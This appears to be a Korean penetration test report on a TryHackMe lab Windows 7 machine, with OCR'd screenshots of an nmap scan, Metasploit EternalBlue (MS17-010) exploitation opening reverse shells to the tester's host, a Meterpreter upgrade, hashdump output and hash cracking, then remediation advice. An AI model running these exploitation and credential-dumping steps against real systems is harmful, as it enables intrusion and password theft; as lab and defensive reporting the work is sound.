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1 [bookmark: _Toc225091899]결과 요약
1.1 [bookmark: _Toc225091900]총평
본 시스템 취약점의 시작은 오래된 윈도우 시스템의 패치 미비에서 기인한 SMBv1 프로토콜의 설계 결함(MS17-010, EternalBlue)이었습니다. 공격자는 별도의 인증 정보 없이도 원격 코드 실행(RCE)을 통해 시스템에 즉각적인 침투가 가능했습니다. 

초기 침투 성공 이후, Metasploit의 Meterpreter 세션을 활용하여 시스템 최고 권한(NT AUTHORITY\SYSTEM)을 확보하였으며, 이를 통해 로컬 사용자 계정의 자격 증명(Hash)을 탈취했습니다. 특히 취약한 비밀번호 정책으로 인해 탈취된 해시가 외부 크래킹 도구에 의해 쉽게 평문으로 노출됨을 확인했습니다.

결과적으로 최신 보안 패치 적용 누락과 미흡한 비밀번호 정책이 결합되어 시스템 전체 데이터가 유출될 수 있는 치명적인 결과를 초래했습니다.
1.2 [bookmark: _Toc225091901]표 정리

	No
	대상
	취약점
	비고

	1
	SMB (Port 445)
	MS17-010 (EternalBlue)
	원격 코드 실행(RCE)을 통한 시스템 장악

	2
	계정 관리
	취약한 비밀번호 정책
	해시 크래킹을 통한 평문 비밀번호 노출










[bookmark: _Toc225091902]2. 취약점 상세 
2.1 [bookmark: _Toc225091903]SMB 원격 코드 실행 (MS17-010)
[image: ]
그림 1. Nmap 결과
[image: ]
그림 2. 쉘 획득

· 정보 수집 결과, SMBv1을 사용하는 Windows 7 시스템임을 확인했습니다.
· Metasploit의 eternalblue 모듈을 이용하여 
· 인증 없이 원격에서 시스템 세션을 획득하였습니다.
2.2 [bookmark: _Toc225091904]자격 증명 탈취 및 해시 크래킹
[image: ]
그림 3. 시스템 최고 관리자 권한 획득


[image: ]
그림 4. 해시값 추출
· Meterpreter 세션 전환을 통해 NT AUTHORITY\SYSTEM 권한을 확보했습니다.
· hashdump 명령을 실행하여 로컬 계정(Jon)의 NTLM 해시값을 추출하였습니다.

2.3 [bookmark: _Toc225091905]비밀번호 크랙
[image: ]
그림 5. 해쉬 크랙킹

· CrackStation을 이용해 평문 비밀번호(alqfa22)를 복구하는 데 성공했습니다.



[bookmark: _Toc225091906]3. 보안 권고안
3.1 [bookmark: _Toc225091907]SMB 취약점 조치 방안
	취약점 항목
	MS17-010 (EternalBlue)

	취약점 개요
	취약한 버전의 SMB 클라이언트 사용

	보안 조치 방법

	- 최신 윈도우 보안 업데이트(KB4012598 등) 적용 
- 제어판을 통해 사용하지 않는 'SMB 1.0/CIFS 파일 공유 지원' 기능 비활성화 
- 방화벽을 통한 445번 포트 외부 노출 차단



3.2 [bookmark: _Toc225091908]보안 조치 방안 
	취약점 항목
	취약한 비밀번호 정책 및 해시 노출

	취약점 개요
	복잡도가 낮은 비밀번호 사용

	보안 조치 방법

	- 영문 대소문자, 숫자, 특수문자를 조합한 8자리 이상의 강력한 비밀번호 정책 시행
- 정기적인 비밀번호 변경 강제화
- 시스템 내 불필요한 로컬 계정 삭제 및 권한 최소화
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B root@kal: fnomekaliftryhackme/Blue
Session Actions Edit View Help

B i@kl B i@kl [l
[+] Stopping exploit/multi/handler
msf post(nulti/manage/shell_to_meterpreter) >
SBSE ost(n |11/ nnine She Lo neterietn) > show options

Module options (post/multi/manage/shell_to_meterpreter):

Nawe  Current Setting Required Description

HANDLER tr yes Start an exploit/multi/handler to receive the connection

LHOST  192.168.216.48  no 1P of host that will receive the connection from the payload (Will try to auto detect).
LPORT 4433 yes Port for payload to connect to.

SESSION 1 yes The session to run this nodule on

View the full module info with the info, or info -d comand

2f post(aulti/manage/shell_to_meterpreter) > run
[*] Upgrading session 10: 1

[+] starting exploit/multi/handler

[+] Started reverse TCP handler on 192.168.216.4
[+] Post module exscution completed

asé post(aulti/manage/shell_to_meterpreter) >
[*] Sending stage (232006 bytes) to 10.65.188.35
[+] Meterpreter session 2 opened (192.168.216.48:4433 — 10.66.185.35:49405) at 2026-03-20 16:09:53 +0900
[+] Stopping exploit/mulei/handler

msf post(nulti/manage/shell_to_meterpreter) >
BSE post(sulti/manage/shell to neterpreter) > sessions -1

Active sessions

1d Name Type Tnformation Connection

1 shell x4 /windous. Shell Banner: Microsoft Windows [Version 6.1.76

14444 > 10.66.188.35:49339 (10.65

o1]
2 meterpreter x64/windows NT AUTHORITY\SYSTEN 3 JON-PC 433 > 10.66.188.35:49405 (10.65

-188.35)
BSE post(aulei/manageshell. o neterpreter) > sessions -1 2
1] Starting interaction with 2

neterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
neterpreter >
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root@iali: Jhome/kaliftryhackme/Blue B root@kali: /home/kali/tryhackme/Blue Bl kali@kali: ~/webshell Bl
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meterpreter
meterpreter
meterpreter
meterpreter

Administrator:500:aad3b435b51404eeaad3bk3shs1404ee 31d6cFe0d16a931b7359470C089C0 :

Guest :501:aad3b435b51404eeaad3bk3sb51404ee:

services.exe

Lsass.exe

sm. exe

svchost.
svchost.
svchost.
powershell.exe
LogonuT.
svchost.
conhost .
svchost.
spoolsv.
svchost.
amazon-ssm-agent . exe
LiteAgent..exe
Ec2Config.exe
WniPrvSE.exe
SearchIndexer.exe

cnd. exe

conhost.
TrustedInstaller.exe

vds..exe

svchost.
svchost.

exe
exe
exe

exe
exe
exe
exe
exe
exe

exe

exe
exe

sppsvc.exe

svchost.
powershell.exe
conhost.

>

exe

exe

> hashdump
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x64
x64
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root@kali: home/laliftryhackme/Blue

AUTHORTTY\SYSTEM
AUTHORTTY\SYSTEM
AUTHORTTY\SYSTEM
AUTHORTTY\SYSTEM
AUTHORTTY\NETWORK SERVICE
AUTHORTTY\LOCAL SERVICE
AUTHORTTY\SYSTEM
AUTHORTTY\SYSTEM
AUTHORTTY\LOCAL SERVICE
AUTHORTTY\SYSTEM
AUTHORTTY\NETWORK SERVICE
AUTHORTTY\SYSTEM
AUTHORTTY\LOCAL SERVICE
AUTHORTTY\SYSTEM
AUTHORTTY\SYSTEM
AUTHORTTY\SYSTEM

AUTHORTTY\SYSTEM
AUTHORTTY\SYSTEM
AUTHORTTY\SYSTEM
AUTHORTTY\SYSTEM
AUTHORTTY\SYSTEM
AUTHORTTY\NETWORK SERVICE
AUTHORTTY\LOCAL SERVICE
AUTHORTTY\NETWORK SERVICE
AUTHORTTY\SYSTEM
AUTHORTTY\SYSTEM
AUTHORTTY\SYSTEM

d6cfe0d16ae931b73c59d7e0c089c0

meterpreter >

:\Windows\systen32\services. exe
:\Windows\systen32\Lsass. exe
*\Windows\systen32\Lsm. exe

:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
*\Windows\systen32\LogonUI. exe

:\Windows\system32\conhost .exe
:\Windows\System32\spoolsv.exe

:\Program Files\Amazon\SsM\amazon-ssm-agent.exe

Program Files\Amazon\XenTools\LiteAgent.exe

:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe

:\Windows\Systen32\cmd. exe
*\Windows\systen32\conhost.exe

:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
*\Windows\systen32\conhost . exe





image5.png
<« c crackstation.net *

88 O WoAH EOE [ BEAIFEE [ AD MY (DAP [0S 2227 B OVATIZE Vwar. = SAPABAP REH. %% Online - ReverseS. 4 SHA Generator —

3
>

CrackStation

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per i

11b4310deaEbedda91 TacDocBads 180

W ==oomuct

01 HOIE} CAPTCHA Enterpise 22 3

‘Supports: LM, NTLM, md2, md4, mds, mds(mdS_hex), mds-half, shat, sha224, sha256, sha3ss, shas12, ripeMD160, whirlpool, MySQL 4.1+ (shai(shal_bin),
‘Qubesv3.1BackupDefauits.

Hash Type Result

Color Codes: [Bill Exact match, Yellow: Partial match, [Nl Not found.

Download CrackStation's Wordlist





image1.png
Session Actions Edit View Help
L nmap -sC -sV 10.66.188.35 > scan.res

[(o0 ) (/home/kali/tryhackne/Blue)
+ cat scan.res
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-20 15:31 +0900

Nmap scan report for 10.66.188.35

Host is up (0.19s latency).

Not shown: 991 closed tcp ports (reset)

PORT STATE SERVICE VERSTON

135/tcp  open msrpc Microsoft Windows RPC

139/tcp  open netbios-ssn Microsoft Windows netbios-ssn

445/tcp  open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP:
3389/tcp open tcpwrapped

I rdp-ntlm-info:

| Target Name: JON-PC

NetBIOS_Domain_Name: JON-PC

NetBIOS_Computer_Name: JON-PC

DNS_Domain_Name: Jon-PC

DNS_Computer_Name: Jon-PC

Product_Version: 6.1.7601

_ System_Time: 2026-03-20T06:33:11+00:00

| ssl-cert: Subject: commonName=Jon-PC

| Not valid before: 2026-03-19T06:28:09

|_Not valid after: 2026-09-18T06:28:09

|_ssl-date: 2026-03-20706:33:26+00:00; 0s from scanner time

49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC

Service Info: Host: JON-PC; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-time:

| date: 2026-03-20T06:33:11

|_ start_date: 2026-03-20T06:27:22

|_nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:50:b7:33:cd:d1 (unknown)
| smb-security-mode:

| account_used: guest

| authentication level: user

| challenge_response: supported
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View the full module info with the info, or info -d command.

nsf exploit(windows/smb/ms17_010_eternalblue) > exploit

[+] Started reverse TCP handler on 192.168.216.48:4444

[*] 10.66.188.35:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check

[+] 10.66.188.35:445 - Host is Likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
/ust/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gens/recog-3.1.26/1ib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and
as replaced with '+’ in regular expression

[+] 10.66.188.35:445 = Scanned 1 of 1 hosts (100% complete)

[+] 10.66.188.35:445 - The target is vulnerable

[*] 10.66.188.35:445 - Connecting to target for exploitation

[+] 10.66.188.35:445 - Connection established for exploitation

[+] 10.66.188.35:445 - Target 05 selected valid for 05 indicated by SMB reply

[*] 10.66.188.35:445 - CORE raw buffer dump (42 bytes)

[+] 10.66.188.35:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes

[+] 10.66.188.35:445 - 0x00000010 73 69 6f Ge 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv

[+] 10.66.188.35:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1

[+] 10.66.188.35:445 - Target arch selected valid for arch indicated by DCE/RPC reply

[*] 10.66.188.35:445 - Trying exploit with 12 Groom Allocations

[*] 10.66.188.35:445 - Sending all but last fragment of exploit packet

[*] 10.66.188.35:445 - Starting non-paged pool grooming

[+] 10.66.188.35:445 - Sending SMBv2 buffers

[+] 10.66.188.35:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer
[*] 10.66.188.35:445 - Sending final SMBv2 buffers

[+*] 10.66.188.35:445 - Sending last fragment of exploit packet

[+*] 10.66.188.35:445 - Receiving response from exploit packet

[+] 10.66.188.35:445 - ETERNALBLUE overwrite completed successfully (8xC000000D)

[*] 10.66.188.35:445 - Sending egg to corrupted connection

[+*] 10.66.188.35:445 - Triggering free of corrupted buffer

[+] Sending stage (336 bytes) to 10.66.188.35

[+] 10.66.188.35:445 -
[+] 10.66.188.35:445 -
[+] 10.66.188.35:445 -
[*] Command shell session 1 opened (192.168.216.48:4446 — 10.66.188.35:49339) at 2026-03-20 15:54:26 +0900

shell Banner:
Microsoft Windows [Version 6.1.7601]

C:\Windows\system32>





